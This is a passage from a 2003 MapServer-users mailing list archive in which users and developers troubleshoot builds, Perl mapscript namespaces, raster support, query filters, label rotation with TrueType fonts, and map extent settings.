legend.exe Message-ID: I am having a problem getting legend.exe from version 3.6.3 to create a legend. The map file I am using works fine. The LEGEND section I am using in the map file is: LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END When I run legend.exe, I just get a white image that is 33 pixels wide by 5 high whether I set a gif or png as the output file. Thanks! From brclark at usgs.gov Fri Jan 24 06:00:04 2003 From: brclark at usgs.gov (Brian Clark) Date: Fri, 24 Jan 2003 08:00:04 -0600 Subject: [Mapserver-users] GD 2.x install problem Message-ID: <3E3146E4.6040608@usgs.gov> Ooops, configure --with-gd=/usr/local seemed to fix this. Thanks, That seemed to work for GD. Now for Mapserver 3.6.4...(sorry to keep bugging) tail of make using: configure --without-tiff --with-proj=/usr/local/lib --with-gdal --with-wmsclient renders: gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -I/usr/include -I/usr/local/lib -I/usr/local/include mapfile.c -o mapfile.o mapfile.c: In function `getSymbol': mapfile.c:154: `__builtin_va_alist' undeclared (first use in this function) mapfile.c:154: (Each undeclared identifier is reported only once mapfile.c:154: for each function it appears in.) mapfile.c:156: warning: implicit declaration of function `__builtin_va_arg_incr' mapfile.c:149: warning: `argp' might be used uninitialized in this function mapfile.c: In function `msLoadProjectionString': mapfile.c:619: warning: subscript has type `char' make: *** [mapfile.o] Error 1 Something obvious? -Brain Frank Warmerdam wrote: > Brian wrote: > >> Hey all, >> We've attempted the upgrade to GD 2.0.11, but initially ran into >> problems >> missing jconfig.h, jmorecfg.h, jpeglib.h, jerror.h. Re-directed the >> path in the Makefile, then ran into problems missing xpm.h. >> Is this needed? configured --without-xpm, but install gave: >> ./libtool[4761]: ranlib: not found >> *** Error code 127 >> make: Fatal error: Command failed for target `install-libLTLIBRARIES' >> Current working directory /MAPSERVER/GD/gd-2.0.11 >> *** Error code 1 >> make: Fatal error: Command failed for target `install-am' >> Current working directory /MAPSERVER/GD/gd-2.0.11 >> *** Error code 1 >> make: Fatal error: Command failed for target `install-recursive' >> # exit > > > Brian, > > I would suggest trying "make RANLIB=/bin/true". I would have thought the > configure script would have checked on stuff like libxpm and libjpeg > being > available. I think the libgd configure logic is pretty new. Perhaps we > should submit an error to the maintainer. > > Best regards, > From albin.blaschka at sbg.ac.at Fri Jan 24 06:41:29 2003 From: albin.blaschka at sbg.ac.at (Albin Blaschka) Date: Fri, 24 Jan 2003 15:41:29 +0100 Subject: [Mapserver-users] QueryByAttributes - Search Parcels By Owner Name Message-ID: <5.1.0.14.2.20030124153540.00a9c700@mh.sbg.ac.at> Hello! Maybe it is a php-problem: * maybe using $HTTP_GET_VARS or HTTP_POST_VARS respectively helps * and /or in your php.ini you have register global = off, so $layer->setfilter("\"$OwnerName\""); should be $layer->setfilter("\"$HTTP_GET_VARS['OwnerName']\""); HTH, Albin >if ($HTTP_FORM_VARS["OwnerName"]) > { > $layer = $gpoMap->getLayerByName("parcels"); > $layer->set("status",MS_ON); > $layer->setfilter("\"$OwnerName\""); > $rv = $layer->queryByAttributes($gpoMap, MS_SINGLE); > if ($rv == MS_SUCCESS) > { > $parcelfound = "Parcels Found"; > } > else > { > $parcelfound = "No Parcels Found"; ///////////////////////////////////////////////////////////////////// // Albin Blaschka, Mag. rer. nat. // Department of Botany and Botanical Garden // Workgroup for Vegetation Science // University of Salzburg, Austria // It?s hard to live in the mountains, // hard, but not hopeless! //////////////////////////////////////////////////////////////////// From pkishor at geoanalytics.com Fri Jan 24 07:12:25 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Fri, 24 Jan 2003 15:12:25 -0000 Subject: [Mapserver-users] Re: mapscript seems to be fubar In-Reply-To: Message-ID: And you are so right. That change made all the fog clear away. Might I suggest that dump.pl and shpinfo.pl be modified accordingly in the distro? Many thanks. --- In mapserver-users at yahoogroups.com, "Steve Lime" wrote: > I thought Dan quoted me in the 3.6.4 announcement, but perhaps not. > Anyway, 3.6.4 was SWIGed with the latest version. Consequently there is > a small, but important, modification you must make to scripts. All > references to constructors must be updated. So: > > $map = new mapObj(...); > > becomes: > > $map = new mapscript::mapObj(...); > > This brings the perl module inline with the other SWIG modules. So > basically it's a namespace issue. Make that change and you should be > good to go. > > Steve > > Stephen Lime > Data & Applications Manager > > Minnesota DNR > 500 Lafayette Road > St. Paul, MN 55155 > 651-297-2937 > >>> "pkishor_98 " > 01/23/03 23:27 PM >>> > Steve L, Lowell, others, > > I seem to have fubar-ed my perfectly working copy of mapscript, and > can't figure out how to set it right. > > I rebuilt mapserver 3.6.4. Straight, no frills -- > > > > ./configure --with-jpeg --with-gd=../gd-1.8.4 --with-png=/usr/local/lib > > > > > > > Got the usualy slew of messages and warnings and what-not, and then > mapserv is built just fine -- > > > > [lucknow:~/Projects/mapserver/mapserver-3.6.4] pkishor% ./mapserv -v > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=TTF INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE > > > > > Then I do the perl Makefile.PL, make, sudo make install dance, and > mapscript.pm gets built and installed in its correct place. But > nothing works with perl. Trying out the simplest dump.pl, I get > > > > [lucknow:mapscript/perl/examples] pkishor% ./dump.pl -file=~/dap.shp > Can't locate object method "new" via package "shapefileObj" at > ./dump.pl line 18. > > > > and so on. When I turn diagnostics on, I get -- > > > > [lucknow:mapscript/perl/examples] pkishor% ./dump.pl > -file=~/Sites/palatine/data/dap.shp > Can't locate object method "new" via package "shapefileObj" at > ./dump.pl line > 19 (#1) > > (F) You said to do (or require, or use) a file that couldn't be > found. Perl looks for the file in all the locations mentioned in > @INC, > unless the file name included the full path to the file. Perhaps > you need > to set the PERL5LIB or PERL5OPT environment variable to say where > the extra > library is, or maybe the script needs to add the library name to > @INC. Or > maybe you just misspelled the name of the file. See > perlfunc/require > and lib. > > Uncaught exception from user code: > Can't locate object method "new" via package "shapefileObj" at > ./dump.pl line 19. > > > > > I know that mapscript.pm is in my @INC which is -- > > /System/Library/Perl/darwin > /System/Library/Perl > /Library/Perl/darwin > /Library/Perl > /Library/Perl > /Network/Library/Perl/darwin > /Network/Library/Perl > /Network/Library/Perl > > > > because make install put it there -- > > [lucknow:mapserver-3.6.4/mapscript/perl] pkishor% sudo make install > Password: > Installing /Library/Perl/darwin/auto/mapscript/mapscript.bs > Installing /Library/Perl/darwin/auto/mapscript/mapscript.bundle > Files found in blib/arch: installing files in blib/lib into > architecture dependent library tree > Installing /Library/Perl/darwin/mapscript.pm > Writing /Library/Perl/darwin/auto/mapscript/.packlist > Appending installation info to /System/Library/Perl/darwin/perllocal.pod > > I am at a dead end. Any suggestions as to where I should begin looking > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at l... > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at l... > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Fri Jan 24 07:19:57 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 24 Jan 2003 10:19:57 -0500 Subject: [Mapserver-users] Raster Projection In-Reply-To: <3E312899.4040205@bvv.bayern.de> References: <20030123195915.10998.qmail@web12508.mail.yahoo.com> <3E312899.4040205@bvv.bayern.de> Message-ID: <3E31599D.8070403@pobox.com> Hubert Fr?hlich wrote: > Frank, > > what is (roughly) the difference between native TIFF/GeoTIFF support and > support by gdal? Seems that gdal is more capable? (you mentioned > reprojection) Hubert, The built-in TIFF support is simple and "light". It supports 8bit greyscale and 8bit paletted images (stripped, but not tiled). It reads geotiff origin and scale info, but no other geotiff formulations. It does not support 24bit input. It is suitable to use when you want a lightweight mapserver without any dependence on GDAL and the things it drags along. The GDAL GeoTIFF support support virtual all geotiff forms, including tiled, non-eight bit, fast loading from tiff overviews and support for reading the geotiff projections using the PROJECTION "AUTO" mechanism. Also, the code that renders from GDAL supports various extra features like projection "AUTO", reprojection, band selection, 24bit images, 24bit to 8bit via a color cube (with or without dithering. GDAL, and the GDAL rendering code in MapServer should be considered the "deluxe" raster support. The builtin PNG, GIF, and TIFF drivers should mainly be used when you want to avoid linking in GDAL. > What happens if I compile with native tiff support AND gdal support? > Does this make sense? (Or should I REALLY compile only with > --without-tiff ? ) In 3.5 the native TIFF driver would be used in preference to the GDAL one, even in cases that it couldn't handle. This was often bad. In 3.7 the code tries to be smart and switch to using the GDAL code in various cases the built-in driver can't handle, but it doesn't always pick properly. I believe the 3.6.x code is similar to 3.5 in selectin built-in vs. GDAL. If you have GDAL I would encourage you to build --without-tiff to avoid Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From morissette at dmsolutions.ca Fri Jan 24 07:15:04 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 24 Jan 2003 10:15:04 -0500 Subject: [Mapserver-users] QueryByAttributes - Search Parcels By Owner Name References: Message-ID: <3E315878.2ABACBB@dmsolutions.ca> Jeff Berry wrote: > > Also, I have a question about how QueryByAttribute actually works. In the > examples I've found in the list archive, the only thing being used is > 'setfilter'. Is that filter value being searched for in all columns of the > table? Is it possible to specify one column for it to search in? > Using only setFilter() is enough only when you are using a logical expression (e.g. ([FIELDNAME] > 10) ) but in order to use constant expressions like you do (or regex expressions) then you have to set 'filteritem' to the name of the field that the expression applies to. $layer->set("filteritem", "FIELDNAME"); -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mschulz at webgis.de Fri Jan 24 07:17:20 2003 From: mschulz at webgis.de (Michael Schulz) Date: Fri, 24 Jan 2003 16:17:20 +0100 Subject: [Mapserver-users] filter and itemnquery Message-ID: <3E3158FF.1CC598EF@webgis.de> Hi folks, for a while i am struggling now with itemnquery and filter expressions. I am using MS 3.6.3. I want to query a layer with county names, to only show those that start with a certain letter. MS-cgi complains that i need to set a filter for the query layer, but when i set this filter, i can't get it to work with regular expressions (that work if i use them in a class expressions), it only recognizes simple string comparisons on the complete attribute value. Please shed some light on this topic. TIA, Michael -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de From shadow at dementia.org Fri Jan 24 09:52:34 2003 From: shadow at dementia.org (Derrick J Brashear) Date: Fri, 24 Jan 2003 12:52:34 -0500 (EST) Subject: [Mapserver-users] repository of sample configurations? Message-ID: Follow-on: assuming there is no such thing I'd be willing to host such a repository, but of course that involved people being willing to share configurations. From joe at otsys.com Fri Jan 24 10:43:26 2003 From: joe at otsys.com (Joe Bussell) Date: Fri, 24 Jan 2003 10:43:26 -0800 Subject: [Mapserver-users] mapscript seems to be fubar In-Reply-To: References: Message-ID: <3E31894E.3010205@otsys.com> Greetings, I ran into this as well, but in truth it turns out to be good news (in a twisted sort of way). They are using a more up-to-date version of swig which is apparently enforcing the perl namespace. In my perl mapscript files I must refer to mapscript::. The problem is that the scripts which are included in the package do not actually make use of this. For a quick test of this add mapscript:: to any object that is called via new from the mapscript package in the dump.pl file. You will have to modify your code to make use of the mapscript namespace. The beauty is that you will not have to hand hack mapscript_wrap.c Cordially, Joe Bussell On Time Systems www.trafficdodger.com pkishor_98 wrote: > Steve L, Lowell, others, > > I seem to have fubar-ed my perfectly working copy of mapscript, and > can't figure out how to set it right. > > I rebuilt mapserver 3.6.4. Straight, no frills -- > > > > ./configure --with-jpeg --with-gd=../gd-1.8.4 --with-png=/usr/local/lib > > > > > > > Got the usualy slew of messages and warnings and what-not, and then > mapserv is built just fine -- > > > > [lucknow:~/Projects/mapserver/mapserver-3.6.4] pkishor% ./mapserv -v > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=TTF INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE > > > > > Then I do the perl Makefile.PL, make, sudo make install dance, and > mapscript.pm gets built and installed in its correct place. But > nothing works with perl. Trying out the simplest dump.pl, I get > > > > [lucknow:mapscript/perl/examples] pkishor% ./dump.pl -file=~/dap.shp > Can't locate object method "new" via package "shapefileObj" at > ./dump.pl line 18. > > > > and so on. When I turn diagnostics on, I get -- > > > > [lucknow:mapscript/perl/examples] pkishor% ./dump.pl > -file=~/Sites/palatine/data/dap.shp > Can't locate object method "new" via package "shapefileObj" at > ./dump.pl line > 19 (#1) > > (F) You said to do (or require, or use) a file that couldn't be > found. Perl looks for the file in all the locations mentioned in @INC, > unless the file name included the full path to the file. Perhaps > you need > to set the PERL5LIB or PERL5OPT environment variable to say where > the extra > library is, or maybe the script needs to add the library name to > @INC. Or > maybe you just misspelled the name of the file. See perlfunc/require > and lib. > > Uncaught exception from user code: > Can't locate object method "new" via package "shapefileObj" at > ./dump.pl line 19. > > > > > I know that mapscript.pm is in my @INC which is -- > > /System/Library/Perl/darwin > /System/Library/Perl > /Library/Perl/darwin > /Library/Perl > /Library/Perl > /Network/Library/Perl/darwin > /Network/Library/Perl > /Network/Library/Perl > > > > because make install put it there -- > > [lucknow:mapserver-3.6.4/mapscript/perl] pkishor% sudo make install > Password: > Installing /Library/Perl/darwin/auto/mapscript/mapscript.bs > Installing /Library/Perl/darwin/auto/mapscript/mapscript.bundle > Files found in blib/arch: installing files in blib/lib into > architecture dependent library tree > Installing /Library/Perl/darwin/mapscript.pm > Writing /Library/Perl/darwin/auto/mapscript/.packlist > Appending installation info to /System/Library/Perl/darwin/perllocal.pod > > I am at a dead end. Any suggestions as to where I should begin looking > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From steve.lime at dnr.state.mn.us Fri Jan 24 11:07:51 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 24 Jan 2003 13:07:51 -0600 Subject: [Mapserver-users] filter and itemnquery Message-ID: How are you setting the filter, and what exactly are you setting it to? Examples and/or map file snippets would be helpful. Steve >>> Michael Schulz 01/24/03 09:17AM >>> Hi folks, for a while i am struggling now with itemnquery and filter expressions. I am using MS 3.6.3. I want to query a layer with county names, to only show those that start with a certain letter. MS-cgi complains that i need to set a filter for the query layer, but when i set this filter, i can't get it to work with regular expressions (that work if i use them in a class expressions), it only recognizes simple string comparisons on the complete attribute value. Please shed some light on this topic. TIA, Michael -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri Jan 24 11:09:59 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 24 Jan 2003 13:09:59 -0600 Subject: [Mapserver-users] legend.exe Message-ID: I'll start with the obvious. Are layers on? Do classes have names? Without those a legend can't be built... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "John McCue" 01/24/03 08:07AM >>> I am having a problem getting legend.exe from version 3.6.3 to create a legend. The map file I am using works fine. The LEGEND section I am using in the map file is: LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END When I run legend.exe, I just get a white image that is 33 pixels wide by 5 high whether I set a gif or png as the output file. Thanks! _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jshorie at medinaco.org Fri Jan 24 11:12:51 2003 From: jshorie at medinaco.org (Jon Shorie) Date: Fri, 24 Jan 2003 14:12:51 -0500 Subject: [Mapserver-users] rotating labels Message-ID: <200301241412.51454.jshorie@medinaco.org> I have a project where I am trying to get the roadnames to follow the road (in other words be rotated in the same direction as the road). Is such a thing possible. Here is the relevant section of my .map file LAYER NAME medcocel TYPE LINE STATUS DEFAULT DATA medcocel GROUP roads CLASS NAME "Medina County Centerlines" TEMPLATE "medcocel.html" COLOR 208 159 145 END HEADER "medcocel_header.html" FOOTER "medcocel_footer.html" TOLERANCE 5 DUMP TRUE # allow GML export METADATA WMS_TITLE "Centerlines" WMS_ABSTRACT "Medina County Centerlines" WMS_SRS "EPSG:26915" END END # medcocel LAYER NAME medcocel_anno GROUP roads MAXSCALE 300000 STATUS DEFAULT DATA medcocel TYPE ANNOTATION LABELITEM "ROADNAME" CLASS COLOR 255 255 255 LABEL POSITION cc WRAP " " SIZE MEDIUM COLOR 0 0 0 END END METADATA WMS_TITLE "County Roads" WMS_ABSTRACT "County roads. (shields only) Derived from MNDOT roads layer, see http://deli.dnr.state.mn.us/metadata/full/dotrdln2.html for more information." WMS_SRS "EPSG:26915" END END # county road annotation From jshorie at medinaco.org Fri Jan 24 11:26:32 2003 From: jshorie at medinaco.org (Jon Shorie) Date: Fri, 24 Jan 2003 14:26:32 -0500 Subject: [Mapserver-users] rotating labels Message-ID: <200301241426.32851.jshorie@medinaco.org> I have a project where I am trying to get the roadnames to follow the road (in other words be rotated in the same direction as the road). Is such a thing possible. Here is the relevant section of my .map file LAYER NAME medcocel TYPE LINE STATUS DEFAULT DATA medcocel GROUP roads CLASS NAME "Medina County Centerlines" TEMPLATE "medcocel.html" COLOR 208 159 145 END HEADER "medcocel_header.html" FOOTER "medcocel_footer.html" TOLERANCE 5 DUMP TRUE # allow GML export METADATA WMS_TITLE "Centerlines" WMS_ABSTRACT "Medina County Centerlines" WMS_SRS "EPSG:26915" END END # medcocel LAYER NAME medcocel_anno GROUP roads MAXSCALE 300000 STATUS DEFAULT DATA medcocel TYPE ANNOTATION LABELITEM "ROADNAME" CLASS COLOR 255 255 255 LABEL POSITION cc WRAP " " SIZE MEDIUM COLOR 0 0 0 END END METADATA WMS_TITLE "County Roads" WMS_ABSTRACT "County roads. (shields only) Derived from MNDOT roads layer, see http://deli.dnr.state.mn.us/metadata/full/dotrdln2.html for more information." WMS_SRS "EPSG:26915" END END # county road annotation From lfilak at medinaco.org Fri Jan 24 11:58:10 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 24 Jan 2003 14:58:10 -0500 Subject: [Mapserver-users] rotating labels Message-ID: <200301241954.h0OJsdR09459@yogi.medinaco.net> Specify LABEL -> TYPE as TRUETYPE & ANGLE AUTO, set LABEL -> FONT to an available truetype font, change LABEL -> SIZE to a numeric as opposed to a named size, and make sure MS is compiled with truetype 1.x along with GD being compiled with truetype 1.x. The following message was sent by Jon Shorie on Fri, 24 Jan 2003 14:26:32 -0500. > I have a project where I am trying to get the roadnames to follow the road (in > other words be rotated in the same direction as the road). Is such a thing > possible. Here is the relevant section of my .map file > > LAYER > NAME medcocel > TYPE LINE > STATUS DEFAULT > DATA medcocel > GROUP roads > CLASS > NAME "Medina County Centerlines" > TEMPLATE "medcocel.html" > COLOR 208 159 145 > END > > HEADER "medcocel_header.html" > FOOTER "medcocel_footer.html" > > TOLERANCE 5 > > DUMP TRUE # allow GML export > > METADATA > WMS_TITLE "Centerlines" > WMS_ABSTRACT "Medina County Centerlines" > WMS_SRS "EPSG:26915" > END > END # medcocel > > LAYER > NAME medcocel_anno > GROUP roads > MAXSCALE 300000 > STATUS DEFAULT > DATA medcocel > TYPE ANNOTATION > LABELITEM "ROADNAME" > CLASS > COLOR 255 255 255 > LABEL > POSITION cc > WRAP " " > SIZE MEDIUM > COLOR 0 0 0 > END > END > > METADATA > WMS_TITLE "County Roads" > WMS_ABSTRACT "County roads. (shields only) Derived from MNDOT roads > layer, see http://deli.dnr.state.mn.us/metadata/full/dotrdln2.html for more > information." > WMS_SRS "EPSG:26915" > END > END # county road annotation > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From DMartin at erac.com Fri Jan 24 12:04:24 2003 From: DMartin at erac.com (Martin, Daniel) Date: Fri, 24 Jan 2003 14:04:24 -0600 Subject: [Mapserver-users] rotating labels Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBD1B@STL-EXBE-I03.corp.erac.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2C3E3.CA6846E0 Content-Type: text/plain The first thing you must do is enable Truetype Fonts. This might require a recompile or different binary depending on what binary you are using. Then you must create a fontset. Read here: http://mapserver.gis.umn.edu/doc36/fontset.html If you are on Windows, you can use the fontset.txt I've attached with the fonts from C:\WINNT\Fonts to save you some time. It took entirely too long to write it the first time, and I hate the idea that other people are having to do it too. After that, it's a simple matter of adding this to your LABEL object: ANGLE auto TYPE TRUETYPE FONT arial -Dan Martin -----Original Message----- From: Jon Shorie [mailto:jshorie at medinaco.org] Sent: Friday, January 24, 2003 1:27 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] rotating labels I have a project where I am trying to get the roadnames to follow the road (in other words be rotated in the same direction as the road). Is such a thing possible. Here is the relevant section of my .map file LAYER NAME medcocel TYPE LINE STATUS DEFAULT DATA medcocel GROUP roads CLASS NAME "Medina County Centerlines" TEMPLATE "medcocel.html" COLOR 208 159 145 END HEADER "medcocel_header.html" FOOTER "medcocel_footer.html" TOLERANCE 5 DUMP TRUE # allow GML export METADATA WMS_TITLE "Centerlines" WMS_ABSTRACT "Medina County Centerlines" WMS_SRS "EPSG:26915" END END # medcocel LAYER NAME medcocel_anno GROUP roads MAXSCALE 300000 STATUS DEFAULT DATA medcocel TYPE ANNOTATION LABELITEM "ROADNAME" CLASS COLOR 255 255 255 LABEL POSITION cc WRAP " " SIZE MEDIUM COLOR 0 0 0 END END METADATA WMS_TITLE "County Roads" WMS_ABSTRACT "County roads. (shields only) Derived from MNDOT roads layer, see http://deli.dnr.state.mn.us/metadata/full/dotrdln2.html for more information." WMS_SRS "EPSG:26915" END END # county road annotation _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------_=_NextPart_000_01C2C3E3.CA6846E0 Content-Type: text/plain; name="fontset.txt" Content-Disposition: attachment; filename="fontset.txt" 3o_f_9_barcode 3of9barcode1.ttf arial arial.ttf arial_black ariblk.ttf arial_black-italic arbli___.ttf arial-bold arialbd.ttf arial-bold-italic arialbi.ttf arial-italic ariali.ttf arial_narrow arialn.ttf arial_narrow-bold arialnb.ttf arial_narrow-bold-italic arialnbi.ttf arial_narrow-italic arialni.ttf arial_unicode_MS arialuni.ttf batang batang.ttf book_antiqua bkant.ttf book_antiqua-bold antquab.ttf book_antiqua-bold-italic antquabi.ttf book_antiqua-italic antquai.ttf bookman_old_style bookos.ttf bookman_old_style-bold bookosb.ttf bookman_old_style-bold-italic bookosbi.ttf bookman_old_style-italic bookosi.ttf century_gothic gothic.ttf century_gothic-bold gothicb.ttf century_gothic-bold-italic gothicbi.ttf century_gothic-italic gothici.ttf century_schoolbook schlbk.ttf century_schoolbook-bold schlbkb.ttf century_schoolbook-bold-italic schlbkbi.ttf century_schoolbook-italic schlbki.ttf comic_sans comic.ttf comic_sans-bold comicbd.ttf courier cour.ttf courier-bold courbd.ttf courier-bold-italic courbi.ttf courier-italic couri.ttf garamond gara.ttf garamond-bold garabd.ttf garamond-italic garait.ttf georgia georgia.ttf georgia-bold georgiab.ttf georgia-bold-italic georgiaz.ttf georgia-italic georgiai.ttf hatten hatten.ttf impact impact.ttf letter_gothic lc______.ttf letter_gothic-bold lcb_____.ttf letter_gothic-bold-italic lcbi____.ttf letter_gothic-italic lci_____.ttf lucida_console lucon.ttf lucida_sans_unicode l_10646.ttf ms_sans_serif micross.ttf monotype_corsova mtcorsva.ttf ms_outlook outlook.ttf palatino_linotype pala.ttf palatino_linotype-bold palab.ttf palatino_linotype-bold-italic palabi.ttf palatino_linotype-italic palai.ttf r_ansi r_ansi.ttf r_apl r_apl.ttf r_thai r_thai.ttf r_thai-bold r_thaibd.ttf r_thai-bold-italic r_thaibi.ttf r_thai-italic r_thaii.ttf sybol symbol.ttf tahoma tahoma.ttf tahoma-bold tahomabd.ttf times_new_roman times.ttf times_new_roman-bold timesbd.ttf times_new_roman-bold-italic timesbi.ttf times_new_roman-italic timesi.ttf times_new_roman_MT-extrabold timnreb.ttf trebuchet trebuc.ttf trebuchet-bold trebucbd.ttf trebuchet-bold-italic trebucbi.ttf trebuchet-italic trebucit.ttf verdana verdana.ttf verdana-bold verdanab.ttf verdana-bold-italic verdanaz.ttf verdana-italic verdanai.ttf webdings webdings.ttf webdings1 wingding.ttf webdings2 wingdng2.ttf webdings3 wingdng3.ttf ------_=_NextPart_000_01C2C3E3.CA6846E0-- From jmccue at geovue.com Fri Jan 24 12:12:00 2003 From: jmccue at geovue.com (John McCue) Date: Fri, 24 Jan 2003 15:12:00 -0500 Subject: [Mapserver-users] CLASS Expressions Message-ID: I would like to use an expression something like: CLASS NAME "0 - 5%" EXPRESSION (([RACCYBLACK] + [RACCYASIAN] + [RACCYOTH])/[POPCY]*100 >= 0 AND ([RACCYBLACK] + [RACCYASIAN] + [RACCYOTH])/[POPCY]*100 <= 5) COLOR 120 120 255 END Is this valid in MapServer (v.3.6.3, Windows)? [RACCYBLACK], [RACCYASIAN], [RACCYOTH] and [POPCY] are all fields in the dbf of my shape file. - Do I need to delimit the expression with / /? - What field should appear in the CLASSITEM? Thanks, John From cblack at CalAcademy.Org Fri Jan 24 13:03:04 2003 From: cblack at CalAcademy.Org (Chris Black) Date: Fri, 24 Jan 2003 13:03:04 -0800 Subject: [Mapserver-users] little map in a big box References: <20030124180002.17684.13669.Mailman@lists.gis.umn.edu> Message-ID: <3E31AA08.3070302@calacademy.org> I'm just getting started with MapServer, and I'm having problems displaying a PNG file. The visible image of the map takes up only a tiny, postage-stamp-sized area of the total image, most of which is white space. I looked on the list archive, and saw a similar problem diagnosed as inconsistent use of units, but I really think I got all of that right, with everything in meters -- then redid it with everything in DD, and got the same problem, only my visible map image was even smaller. I got the bounding coordinates from the theme properties of an ArcView layer using the same image, the image size from viewing the PNG in a Netscape window and reading the document title above the menu bar (i.e. 'baymap.png (PNG Image, 721x640 pixels)'), and computed the distance per pixel as (xmin - xmax)/721 and similarly for the y dimension. I'll attach my .map and .wld files (the version in meters) and hope someone can help. ecoatlas.map: ------------------ cut here ---------------------- NAME CALCTYEX1 EXTENT 462228 631000 4082000 4303000 SIZE 721 640 UNITS METERS SHAPEPATH "C:\inetpub\wwwroot\sfbay\data\" LAYER data "c:\inetpub\wwwroot\sfbay\data\baymap.png" NAME "bayraster" STATUS DEFAULT TYPE RASTER END # LAYER END # FILE ------------------ cut here ---------------------- baymap.wld: ------------------ cut here ---------------------- 234 0 0 345 462228 4303000 ------------------ cut here ---------------------- Many thanks for any help you can offer. -- Chris Black California Academy of Sciences cblack at calacademy.org From jshorie at medinaco.org Fri Jan 24 13:06:15 2003 From: jshorie at medinaco.org (Jon Shorie) Date: Fri, 24 Jan 2003 16:06:15 -0500 Subject: [Mapserver-users] rotating labels In-Reply-To: <200301241426.32851.jshorie@medinaco.org> References: <200301241426.32851.jshorie@medinaco.org> Message-ID: <200301241606.15247.jshorie@medinaco.org> Thankyou to all those who were very helpful on this. It is now working On Friday 24 January 2003 14:26, Jon Shorie wrote: > I have a project where I am trying to get the roadnames to follow the road > (in other words be rotated in the same direction as the road). Is such a > thing possible. Here is the relevant section of my .map file > > LAYER > NAME medcocel > TYPE LINE > STATUS DEFAULT > DATA medcocel > GROUP roads > CLASS > NAME "Medina County Centerlines" > TEMPLATE "medcocel.html" > COLOR 208 159 145 > END > > HEADER "medcocel_header.html" > FOOTER "medcocel_footer.html" > > TOLERANCE 5 > > DUMP TRUE # allow GML export > > METADATA > WMS_TITLE "Centerlines" > WMS_ABSTRACT "Medina County Centerlines" > WMS_SRS "EPSG:26915" > END > END # medcocel > > LAYER > NAME medcocel_anno > GROUP roads > MAXSCALE 300000 > STATUS DEFAULT > DATA medcocel > TYPE ANNOTATION > LABELITEM "ROADNAME" > CLASS > COLOR 255 255 255 > LABEL > POSITION cc > WRAP " " > SIZE MEDIUM > COLOR 0 0 0 > END > END > > METADATA > WMS_TITLE "County Roads" > WMS_ABSTRACT "County roads. (shields only) Derived from MNDOT roads > layer, see http://deli.dnr.state.mn.us/metadata/full/dotrdln2.html for more > information." > WMS_SRS "EPSG:26915" > END > END # county road annotation > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Fri Jan 24 13:13:08 2003 From: ed at topozone.com (Ed McNierney) Date: Fri, 24 Jan 2003 16:13:08 -0500 Subject: [Mapserver-users] little map in a big box Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3BE3@mercator.topozone.com> Chris - The EXTENT statement is EXTENT minx miny maxx maxy and you've got EXTENT minx maxx miny maxy so you're defining the X extent of your map to be 462228 to 4082000 (big!) and the Y extent to be equally big, so your map data occupies only a tiny bit of it. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Chris Black [mailto:cblack at CalAcademy.Org] Sent: Friday, January 24, 